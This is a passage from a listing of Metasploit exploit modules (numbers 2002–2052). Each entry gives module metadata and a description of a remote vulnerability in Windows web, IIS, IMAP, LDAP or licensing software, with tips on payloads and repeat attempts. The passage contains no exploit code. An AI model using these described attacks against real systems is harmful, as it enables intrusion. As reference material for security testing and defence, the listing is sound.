Numara / BMC Track-It!
  v8 to v11.X.
  The application exposes the FileStorageService .NET remoting service
on port 9010
  (9004 for version 8) which accepts unauthenticated uploads. This can
be abused by
  a malicious user to upload a ASP or ASPX file to the web root
leading to arbitrary
  code execution as NETWORK SERVICE or SYSTEM.
  This module has been tested successfully on versions 11.3.0.355,
10.0.51.135, 10.0.50.107,
  10.0.0.143, 9.0.30.248 and 8.0.2.51.

End Exploit Number 2002

Begin Exploit Number 2003
       Name: Trend Micro OfficeScan Remote Stack Buffer Overflow
     Module: exploit/windows/http/trendmicro_officescan
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-06-28

Payload information:
  Avoid: 194 characters

Description:
  This module exploits a stack buffer overflow in Trend Micro
OfficeScan
  cgiChkMasterPwd.exe (running with SYSTEM privileges).

End Exploit Number 2003

Begin Exploit Number 2004
       Name: Trend Micro OfficeScan Remote Code Execution
     Module: exploit/windows/http/trendmicro_officescan_widget_exec
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-07
```

```
Payload information:

Description:
  This module exploits the authentication bypass and command injection
vulnerability together. Unauthenticated users can execute a
  terminal command under the context of the web server user.

  The specific flaw exists within the management interface, which
listens on TCP port 443 by default. The Trend Micro Officescan product
  has a widget feature which is implemented with PHP. Talker.php takes
ack and hash parameters but doesn't validate these values, which
  leads to an authentication bypass for the widget. Proxy.php files
under the mod TMCSS folder take multiple parameters but the process
  does not properly validate a user-supplied string before using it to
execute a system call. Due to combination of these vulnerabilities,
  unauthenticated users can execute a terminal command under the
context of the web server user.

End Exploit Number 2004

Begin Exploit Number 2005
       Name: Ultra Mini HTTPD Stack Buffer Overflow
     Module: exploit/windows/http/ultraminihttp_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-10

Payload information:
  Avoid: 9 characters

Description:
  This module exploits a stack based buffer overflow in Ultra Mini
HTTPD 1.21,
  allowing remote attackers to execute arbitrary code via a long
resource name in an HTTP
  request. This exploit has to deal with the fact that the
application's request handler
  thread is terminated after 60 seconds by a "monitor" thread. To do
this, it allocates
  some RWX memory, copies the payload to it and creates another
thread. When done, it
  terminates the current thread so that it doesn't crash and hence
doesn't bring down
  the process with it.

End Exploit Number 2005
```

```
Begin Exploit Number 2006
       Name: Umbraco CMS Remote Command Execution
     Module: exploit/windows/http/umbraco_upload_aspx
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-28

Payload information:

Description:
  This module can be used to execute a payload on Umbraco CMS 
4.7.0.378.
  The payload is uploaded as an ASPX script by sending a specially 
crafted
  SOAP request to codeEditorSave.asmx, which permits unauthorized file 
upload
  via the SaveDLRScript operation. SaveDLRScript is also subject to a 
path
  traversal vulnerability, allowing code to be placed into the web-
accessible
  /umbraco/ directory.

  The module writes, executes and then overwrites an ASPX script; note 
that
  though the script content is removed, the file remains on the 
target. Automatic
  cleanup of the file is intended if a meterpreter payload is used.

  This module has been tested successfully on Umbraco CMS 4.7.0.378 on 
a Windows
  7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user 
must have
  write permissions on the Windows Temp folder.

End Exploit Number 2006

Begin Exploit Number 2007
       Name: VMware vCenter Chargeback Manager ImageUploadServlet 
Arbitrary File Upload
     Module: exploit/windows/http/vmware_vcenter_chargeback_upload
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-05-15
```

```
Payload information:

Description:
  This module exploits a code execution flaw in VMware vCenter
Chargeback Manager,
  where the ImageUploadServlet servlet allows unauthenticated file
upload. The files
  are uploaded to the /cbmui/images/ web path, where JSP code
execution is allowed.
  The module has been tested successfully on VMware vCenter Chargeback
Manager 2.0.1
  on Windows 2003 SP2.

End Exploit Number 2007

Begin Exploit Number 2008
       Name: VX Search Enterprise GET Buffer Overflow
     Module: exploit/windows/http/vxsrchs_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-03-15

Payload information:
  Space: 500
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the web interface of VX Search Enterprise v9.5.12, caused by
  improper bounds checking of the request path in HTTP GET requests
  sent to the built-in web server. This module has been tested
  successfully on Windows 7 SP1 x86.


End Exploit Number 2008

Begin Exploit Number 2009
       Name: Webster HTTP Server GET Buffer Overflow
     Module: exploit/windows/http/webster_http
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2002-12-02
```

```
Payload information:
  Space: 1024
  Avoid: 13 characters

Description:
  This exploits a stack buffer overflow in the Webster HTTP server.
  The server and source code was released within an article from
  the Microsoft Systems Journal in February 1996 titled "Write a
  Simple HTTP-based Server Using MFC and Windows Sockets".

End Exploit Number 2009

Begin Exploit Number 2010
       Name: Progress Software WS_FTP Unauthenticated Remote Code
Execution
     Module: exploit/windows/http/ws_ftp_rce_cve_2023_40044
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-09-27

Payload information:
  Space: 5000

Description:
  This module exploits an unsafe .NET deserialization vulnerability to
achieve unauthenticated remote code
  execution against a vulnerable WS_FTP server running the Ad Hoc
Transfer module. All versions of WS_FTP Server
  prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are
vulnerable to this issue. The vulnerability
  was originally discovered by AssetNote.

End Exploit Number 2010

Begin Exploit Number 2011
       Name: XAMPP WebDAV PHP Upload
     Module: exploit/windows/http/xampp_webdav_upload_php
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-14

Payload information:

Description:
  This module exploits weak WebDAV passwords on XAMPP servers.
  It uses supplied credentials to upload a PHP payload and
  execute it.


End Exploit Number 2011

Begin Exploit Number 2012
       Name: Xitami 2.5c2 Web Server If-Modified-Since Overflow
     Module: exploit/windows/http/xitami_if_mod_since
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-09-24

Payload information:
  Space: 700
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in the iMatix
Corporation
  Xitami Web Server. If a malicious user sends an       If-Modified-
Since
  header containing an overly long string, it may be possible to
  execute a payload remotely. Due to size constraints, this module
uses
  the Egghunter technique.

End Exploit Number 2012

Begin Exploit Number 2013
       Name: ZenTao Pro 8.8.2 Remote Code Execution
     Module: exploit/windows/http/zentao_pro_rce
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-20

Payload information:

Description:
  This module exploits a command injection vulnerability in ZenTao Pro
  8.8.2 and earlier versions in order to execute arbitrary commands
with
  SYSTEM privileges.
  The module first attempts to authenticate to the ZenTao dashboard.
It
  then tries to execute the payload by submitting fake repositories
via
  the 'Repo Create' function that is accessible from the dashboard via
  CI>Repo. More precisely, the module sends HTTP POST requests to
  '/pro/repo-create.html' that inject commands in the vulnerable
'path'
  parameter which corresponds to the 'Client Path' input field.

  Valid credentials for a ZenTao admin account are required. This
module
  has been successfully tested against ZenTao 8.8.1 and 8.8.2 running
on
  Windows 10 (XAMPP server).

End Exploit Number 2013

Begin Exploit Number 2014
       Name: Novell ZENworks Asset Management Remote Execution
     Module: exploit/windows/http/zenworks_assetmgmt_uploadservlet
   Platform: Java
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-02

Payload information:

Description:
  This module exploits a path traversal flaw in Novell ZENworks Asset
Management
  7.5. By exploiting the CatchFileServlet, an attacker can upload a
malicious file
  outside of the MalibuUploadDirectory and then make a secondary
request that allows
  for arbitrary code execution.

End Exploit Number 2014

Begin Exploit Number 2015
       Name: Novell ZENworks Configuration Management Remote Execution
     Module: exploit/windows/http/zenworks_uploadservlet
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-30

Payload information:

Description:
  This module exploits a code execution flaw in Novell ZENworks
Configuration Management 10.2.0.
  By exploiting the UploadServlet, an attacker can upload a malicious
file outside of the TEMP directory
  and then make a secondary request that allows for arbitrary code
execution.

End Exploit Number 2015

Begin Exploit Number 2016
       Name: Zoho Password Manager Pro XML-RPC Java Deserialization
     Module: exploit/windows/http/
zoho_password_manager_pro_xml_rpc_rce
   Platform: Windows
       Arch: cmd, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-24

Payload information:

Description:
  This module exploits a Java deserialization vulnerability in Zoho
ManageEngine Pro
  before 12101 and PAM360 before 5510. Unauthenticated attackers can
send a
  crafted XML-RPC request containing malicious serialized data to /
xmlrpc to
  gain RCE as the SYSTEM user.

End Exploit Number 2016

Begin Exploit Number 2017
       Name: IBM Websphere Application Server Network Deployment
Untrusted Data Deserialization Remote Code Execution
     Module: exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-15

Payload information:
```

```
Description:
  This module exploits untrusted serialized data processed by the WAS
DMGR Server and Cells.
  NOTE: There is a required 2 minute timeout between attempts as the
neighbor being added must be reset.

End Exploit Number 2017

Begin Exploit Number 2018
       Name: Microsoft IIS WebDav ScStoragePathFromUrl Overflow
     Module: exploit/windows/iis/iis_webdav_scstoragepathfromurl
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2017-03-26

Payload information:
  Space: 2000
  Avoid: 1 characters

Description:
  Buffer overflow in the ScStoragePathFromUrl function
  in the WebDAV service in Internet Information Services (IIS) 6.0
  in Microsoft Windows Server 2003 R2 allows remote attackers to
  execute arbitrary code via a long header beginning with
  "If: <http://" in a PROPFIND request, as exploited in the
  wild in July or August 2016.

  Original exploit by Zhiniang Peng and Chen Wu.

End Exploit Number 2018

Begin Exploit Number 2019
       Name: Microsoft IIS WebDAV Write Access Code Execution
     Module: exploit/windows/iis/iis_webdav_upload_asp
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2004-12-31

Payload information:

Description:
  This module can be used to execute a payload on IIS servers that
  have world-writeable directories. The payload is uploaded as an ASP
  script via a WebDAV PUT request.

    The target IIS machine must meet these conditions to be considered
  as exploitable: It allows 'Script resource access', Read and Write
  permission, and supports ASP.

End Exploit Number 2019

Begin Exploit Number 2020
       Name: MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow
     Module: exploit/windows/iis/ms01_023_printer
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-05-01

Payload information:
  Space: 900
  Avoid: 7 characters

Description:
  This exploits a buffer overflow in the request processor of the
  Internet Printing Protocol ISAPI module in IIS. This module
  works against Windows 2000 Server and Professional SP0-SP1.

  If the service stops responding after a successful compromise,
  run the exploit a couple more times to completely kill the
  hung process.

End Exploit Number 2020

Begin Exploit Number 2021
       Name: MS01-026 Microsoft IIS/PWS CGI Filename Double Decode
Command Execution
     Module: exploit/windows/iis/ms01_026_dbldecode
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2001-05-15

Payload information:

Description:
  This module will execute an arbitrary payload on a Microsoft IIS
installation
  that is vulnerable to the CGI double-decode vulnerability of 2001.
  This module has been tested successfully on:

  Windows 2000 Professional (SP0) (EN);
  Windows 2000 Professional (SP1) (AR);
  Windows 2000 Professional (SP1) (CZ);
  Windows 2000 Server (SP0) (FR);
  Windows 2000 Server (SP1) (EN); and
  Windows 2000 Server (SP1) (SE).

  Note: This module will leave a Metasploit payload exe in the IIS
scripts directory.

End Exploit Number 2021

Begin Exploit Number 2022
       Name: MS01-033 Microsoft IIS 5.0 IDQ Path Overflow
     Module: exploit/windows/iis/ms01_033_idq
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-06-18

Payload information:
  Space: 800
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in the IDQ ISAPI
handler for
  Microsoft Index Server.

End Exploit Number 2022

Begin Exploit Number 2023
       Name: MS02-018 Microsoft IIS 4.0 .HTR Path Overflow
     Module: exploit/windows/iis/ms02_018_htr
   Platform: Windows
       Arch:
 Privileged: Yes
    License: BSD License
       Rank: Good
  Disclosed: 2002-04-10

Payload information:
  Space: 2048
  Avoid: 194 characters
```

```
Description:
  This exploits a buffer overflow in the ISAPI ISM.DLL used to
  process HTR scripting in IIS 4.0. This module works against
  Windows NT 4 Service Packs 3, 4, and 5. The server will
  continue to process requests until the payload being
  executed has exited. If you've set EXITFUNC to 'seh', the
  server will continue processing requests, but you will have
  trouble terminating a bind shell. If you set EXITFUNC to
  thread, the server will crash upon exit of the bind shell.
  The payload is alpha-numerically encoded without a NOP sled
  because otherwise the data gets mangled by the filters.

End Exploit Number 2023

Begin Exploit Number 2024
       Name: MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub
Content-Type Overflow
     Module: exploit/windows/iis/ms02_065_msadc
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2002-11-02

Payload information:
  Space: 1024
  Avoid: 22 characters

Description:
  This module can be used to execute arbitrary code on IIS servers
  that expose the /msadc/msadcs.dll Microsoft Data Access Components
  (MDAC) Remote Data Service (RDS) DataFactory service. The service is
  exploitable even when RDS is configured to deny remote connections
  (handsafe.reg). The service is vulnerable to a heap overflow where
  the RDS DataStub 'Content-Type' string is overly long. Microsoft
Data
  Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

End Exploit Number 2024

Begin Exploit Number 2025
       Name: MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
     Module: exploit/windows/iis/ms03_007_ntdll_webdav
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-05-30
```

```
Payload information:
  Space: 512
  Avoid: 13 characters

Description:
  This exploits a buffer overflow in NTDLL.dll on Windows 2000
  through the SEARCH WebDAV method in IIS. This particular
  module only works against Windows 2000. It should have a
  reasonable chance of success against SP0 to SP3.

End Exploit Number 2025

Begin Exploit Number 2026
       Name: MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary
Remote Command Execution
     Module: exploit/windows/iis/msadc
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1998-07-17

Payload information:

Description:
  This module can be used to execute arbitrary commands on IIS servers
  that expose the /msadc/msadcs.dll Microsoft Data Access Components
  (MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
  or AdvancedDataFactory to inject shell commands into Microsoft
Access
  databases (MDBs), MSSQL databases and ODBC/JET Data Source Name
(DSN).
  Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was
actively
  used in the wild in the late Ninties. MDAC versions affected include
MDAC
  1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for
RDS
  installed, and NT4 Servers with the NT Option Pack installed or
upgraded
  2000 systems often running IIS3/4/5 however some vulnerable
installations
  can still be found on newer Windows operating systems. Note that
newer
  releases of msadcs.dll can still be abused however by default remote
  connections to the RDS is denied. Consider using VERBOSE if you're
unable
  to successfully execute a command, as the error messages are
```

```
detailed
  and useful for debugging. Also set NAME to obtain the remote
hostname,
  and METHOD to use the alternative VbBusObj technique.

End Exploit Number 2026

Begin Exploit Number 2027
       Name: Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow
     Module: exploit/windows/imap/eudora_list
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-12-20

Payload information:
  Space: 750
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in the Qualcomm
WorldMail IMAP Server
  version 3.0 (builds 6.1.19.0 through 6.1.22.0). Version 6.1.22.1
fixes this
  particular vulnerability.

  NOTE: The service does NOT restart automatically by default. You may
be limited to
  only one attempt, so choose wisely!

End Exploit Number 2027

Begin Exploit Number 2028
       Name: IMail IMAP4D Delete Overflow
     Module: exploit/windows/imap/imail_delete
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-11-12

Payload information:
  Space: 614
  Avoid: 194 characters

Description:
  This module exploits a buffer overflow in the 'DELETE'
  command of the IMail IMAP4D service. This vulnerability
  can only be exploited with a valid username and password.
  This flaw was patched in version 8.14.

End Exploit Number 2028

Begin Exploit Number 2029
       Name: Ipswitch IMail IMAP SEARCH Buffer Overflow
     Module: exploit/windows/imap/ipswitch_search
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-07-18

Payload information:
  Space: 400
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Ipswitch IMail
Server 2006.1 IMAP SEARCH
  verb. By sending an overly long string, an attacker can overwrite
the
  buffer and control program execution.
  In order for this module to be successful, the IMAP user must have
at least one
  message.

End Exploit Number 2029

Begin Exploit Number 2030
       Name: MailEnable IMAPD (2.34/2.35) Login Request Buffer
Overflow
     Module: exploit/windows/imap/mailenable_login
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-12-11

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  MailEnable's IMAP server contains a buffer overflow
  vulnerability in the Login command.
```

```
End Exploit Number 2030

Begin Exploit Number 2031
       Name: MailEnable IMAPD (1.54) STATUS Request Buffer Overflow
     Module: exploit/windows/imap/mailenable_status
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-07-13

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  MailEnable's IMAP server contains a buffer overflow
  vulnerability in the STATUS command. With proper
  credentials, this could allow for the execution of arbitrary
  code.

End Exploit Number 2031

Begin Exploit Number 2032
       Name: MailEnable IMAPD W3C Logging Buffer Overflow
     Module: exploit/windows/imap/mailenable_w3c_select
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-10-03

Payload information:
  Space: 600
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the W3C logging
  functionality of the MailEnable IMAPD service. Logging is
  not enabled by default and this exploit requires a valid
  username and password to exploit the flaw. MailEnable
  Professional version 1.6 and prior and MailEnable Enterprise
  version 1.1 and prior are affected.

End Exploit Number 2032

Begin Exploit Number 2033
```

```
       Name: Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow
     Module: exploit/windows/imap/mdaemon_cram_md5
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Great
  Disclosed: 2004-11-12

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the CRAM-MD5
  authentication of the MDaemon IMAP service. This
  vulnerability was discovered by Muts.

End Exploit Number 2033

Begin Exploit Number 2034
       Name: MDaemon 9.6.4 IMAPD FETCH Buffer Overflow
     Module: exploit/windows/imap/mdaemon_fetch
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-03-13

Payload information:
  Space: 400
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the Alt-N MDaemon 
IMAP Server
  version 9.6.4 by sending an overly long FETCH BODY command. Valid 
IMAP
  account credentials are required. Credit to Matteo Memelli

End Exploit Number 2034

Begin Exploit Number 2035
       Name: Mercur v5.0 IMAP SP3 SELECT Buffer Overflow
     Module: exploit/windows/imap/mercur_imap_select_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
```

```
       Rank: Average
  Disclosed: 2006-03-17

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  Mercur v5.0 IMAP server is prone to a remotely exploitable
  stack-based buffer overflow vulnerability. This issue is due
  to a failure of the application to properly bounds check
  user-supplied data prior to copying it to a fixed size memory
buffer.
  Credit to Tim Taylor for discover the vulnerability.

End Exploit Number 2035

Begin Exploit Number 2036
       Name: Mercur Messaging 2005 IMAP Login Buffer Overflow
     Module: exploit/windows/imap/mercur_login
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-03-17

Payload information:
  Space: 228
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Atrium Mercur IMAP
5.0 SP3.
  Since the room for shellcode is small, using the reverse ordinal
payloads
  yields the best results.

End Exploit Number 2036

Begin Exploit Number 2037
       Name: Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow
     Module: exploit/windows/imap/mercury_login
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-03-06
```

```
Payload information:
  Space: 2500
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Mercury/32 <= 4.01b
IMAPD
  LOGIN verb. By sending a specially crafted login command, a buffer
  is corrupted, and code execution is possible. This vulnerability was
  discovered by (mu-b at digit-labs.org).

End Exploit Number 2037

Begin Exploit Number 2038
       Name: Mercury/32 v4.01a IMAP RENAME Buffer Overflow
     Module: exploit/windows/imap/mercury_rename
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-11-29

Payload information:
  Space: 500
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow vulnerability in the
  Mercury/32 v.4.01a IMAP service.

End Exploit Number 2038

Begin Exploit Number 2039
       Name: Novell NetMail IMAP APPEND Buffer Overflow
     Module: exploit/windows/imap/novell_netmail_append
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-12-23

Payload information:
  Space: 700
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Novell's Netmail
3.52 IMAP APPEND
```

```
  verb. By sending an overly long string, an attacker can overwrite
the
  buffer and control program execution.

End Exploit Number 2039

Begin Exploit Number 2040
       Name: Novell NetMail IMAP AUTHENTICATE Buffer Overflow
     Module: exploit/windows/imap/novell_netmail_auth
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-01-07

Payload information:
  Space: 850
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Novell's NetMail
3.52 IMAP AUTHENTICATE
  GSSAPI command. By sending an overly long string, an attacker can
overwrite the
  buffer and control program execution. Using the PAYLOAD of windows/
shell_bind_tcp
  or windows/shell_reverse_tcp allows for the most reliable results.

End Exploit Number 2040

Begin Exploit Number 2041
       Name: Novell NetMail IMAP STATUS Buffer Overflow
     Module: exploit/windows/imap/novell_netmail_status
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-11-18

Payload information:
  Space: 500
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Novell's NetMail
3.52 IMAP STATUS
  verb. By sending an overly long string, an attacker can overwrite
the
```

```
  buffer and control program execution.

End Exploit Number 2041

Begin Exploit Number 2042
       Name: Novell NetMail IMAP SUBSCRIBE Buffer Overflow
     Module: exploit/windows/imap/novell_netmail_subscribe
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-12-23

Payload information:
  Space: 500
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Novell's NetMail 
3.52 IMAP SUBSCRIBE
  verb. By sending an overly long string, an attacker can overwrite 
the
  buffer and control program execution.

End Exploit Number 2042

Begin Exploit Number 2043
       Name: MS00-094 Microsoft IIS Phone Book Service Overflow
     Module: exploit/windows/isapi/ms00_094_pbserver
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2000-12-04

Payload information:
  Space: 896
  Avoid: 8 characters

Description:
  This is an exploit for the Phone Book Service /pbserver/pbserver.dll
  described in MS00-094. By sending an overly long URL argument
  for phone book updates, it is possible to overwrite the stack. This
  module has only been tested against Windows 2000 SP1.

End Exploit Number 2043

Begin Exploit Number 2044
```

```
       Name: MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST
Overflow
     Module: exploit/windows/isapi/ms03_022_nsiislog_post
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2003-06-25

Payload information:
  Space: 1024
  Avoid: 8 characters

Description:
  This exploits a buffer overflow found in the nsiislog.dll 
  ISAPI filter that comes with Windows Media Server. This 
  module will also work against the 'patched' MS03-019 
  version. This vulnerability was addressed by MS03-022.

End Exploit Number 2044

Begin Exploit Number 2045
       Name: MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll
Chunked Overflow
     Module: exploit/windows/isapi/ms03_051_fp30reg_chunked
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2003-11-11

Payload information:
  Space: 1024
  Avoid: 8 characters

Description:
  This is an exploit for the chunked encoding buffer overflow 
  described in MS03-051 and originally reported by Brett 
  Moore. This particular modules works against versions of 
  Windows 2000 between SP0 and SP3. Service Pack 4 fixes the 
  issue.

End Exploit Number 2045

Begin Exploit Number 2046
       Name: Microsoft IIS ISAPI RSA WebAgent Redirect Overflow
     Module: exploit/windows/isapi/rsa_webagent_redirect
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-10-21

Payload information:
  Space: 1024
  Avoid: 23 characters

Description:
  This module exploits a stack buffer overflow in the SecurID Web
  Agent for IIS. This ISAPI filter runs in-process with
  inetinfo.exe, any attempt to exploit this flaw will result
  in the termination and potential restart of the IIS service.

End Exploit Number 2046

Begin Exploit Number 2047
       Name: Microsoft IIS ISAPI w3who.dll Query String Overflow
     Module: exploit/windows/isapi/w3who_query
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2004-12-06

Payload information:
  Space: 632
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in the w3who.dll ISAPI
  application. This vulnerability was discovered Nicolas
  Gregoire and this code has been successfully tested against
  Windows 2000 and Windows XP (SP2). When exploiting Windows
  XP, the payload must call RevertToSelf before it will be
  able to spawn a command shell.

End Exploit Number 2047

Begin Exploit Number 2048
       Name: IMail LDAP Service Buffer Overflow
     Module: exploit/windows/ldap/imail_thc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-02-17

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This exploits a buffer overflow in the LDAP service that is
  part of the IMail product. This module was tested against
  version 7.10 and 8.5, both running on Windows 2000.

End Exploit Number 2048

Begin Exploit Number 2049
       Name: Network Associates PGP KeyServer 7 LDAP Buffer Overflow
     Module: exploit/windows/ldap/pgp_keyserver7
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-07-16

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the LDAP service
that is
  part of the NAI PGP Enterprise product suite. This module was tested
  against PGP KeyServer v7.0. Due to space restrictions, egghunter is
  used to find our payload - therefore you may wish to adjust
WfsDelay.

End Exploit Number 2049

Begin Exploit Number 2050
       Name: Computer Associates License Client GETCONFIG Overflow
     Module: exploit/windows/license/calicclnt_getconfig
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-03-02

Payload information:
  Space: 600
  Avoid: 2 characters
```

```
Description:
  This module exploits a vulnerability in the CA License Client
  service. This exploit will only work if your IP address can be
  resolved from the target system point of view. This can be
  accomplished on a local network by running the 'nmbd' service
  that comes with Samba. If you are running this exploit from
  Windows and do not filter udp port 137, this should not be a
  problem (if the target is on the same network segment). Due to
  the bugginess of the software, you are only allowed one connection
  to the agent port before it starts ignoring you. If it wasn't for
this
  issue, it would be possible to repeatedly exploit this bug.

End Exploit Number 2050

Begin Exploit Number 2051
       Name: Computer Associates License Server GETCONFIG Overflow
     Module: exploit/windows/license/calicserv_getconfig
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2005-03-02

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits an vulnerability in the CA License Server
  network service. By sending an excessively long GETCONFIG
  packet the stack may be overwritten.

End Exploit Number 2051

Begin Exploit Number 2052
       Name: FlexNet License Server Manager lmgrd Buffer Overflow
     Module: exploit/windows/license/flexnet_lmgrd_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-23

Payload information:
  Space: 4000
```

```
Description:
  This module exploits a vulnerability in the FlexNet
  License Server Manager.
